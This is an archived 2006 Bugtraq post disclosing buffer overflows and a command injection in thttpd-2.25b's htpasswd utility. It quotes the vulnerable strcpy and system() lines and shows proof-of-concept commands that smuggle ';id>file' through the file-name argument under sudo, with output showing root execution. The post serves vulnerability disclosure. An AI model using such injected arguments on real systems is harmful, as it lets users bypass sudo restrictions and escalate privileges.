OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
htpasswd bufferoverflow and command execution in thttpd-2.25b.

From: Larry Cashdollar (lcashdolgmail.com)
Date: Sun Mar 05 2006 - 14:53:43 CST


Hello bugtraq,

 I noticed a problem with thttpd-2.25b - Two buffer overflows and
command execution in htpasswd.c. htpasswd is not installed setuid
root, however in some user installations htpasswd might be executed
via sudo. Exploting the above vulnerabilities would allow a
non-priveledged user to circumvent sudo acls for example.

  line 189 strcpy(user,argv[2]);
  line 197 strcpy(l,line);

  line 215&216:
  sprintf(command,"cp %s %s",temp_template,argv[1]);
 system(command);

  If perhaps sudo is being used to limit what commands a user can
execute as www, you could run other commands like so:

  sudo -u www /bin/htpasswd -c "blah;id>lpo" webauth
  sudo -u www /bin/htpasswd "blah;id>lpo" webauth

  larrymog:~$ sudo /bin/htpasswd -c "blh;id>lp" www
  larrymog:~$ sudo /bin/htpasswd "blh;id>lp" www
  Changing password for user www
  New password:
  Re-type new password:
  larrymog:~$ cat lp
  uid=0(root) gid=0(root) groups=0(root)
  larrymog:~$ sudo id
  We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
  #1) Respect the privacy of others.
  #2) Think before you type.
  #3) With great power comes great responsibility.
  Password:
  Sorry, user larry is not allowed to execute '/usr/bin/id' as root on mog.

 I sent email to the thttpd mailing list, who were quick to respond
and acknowledge the problem. They said the problem would be resolved
in the next release.

 -- Larry Cashdollar
 http://vapid.dhs.org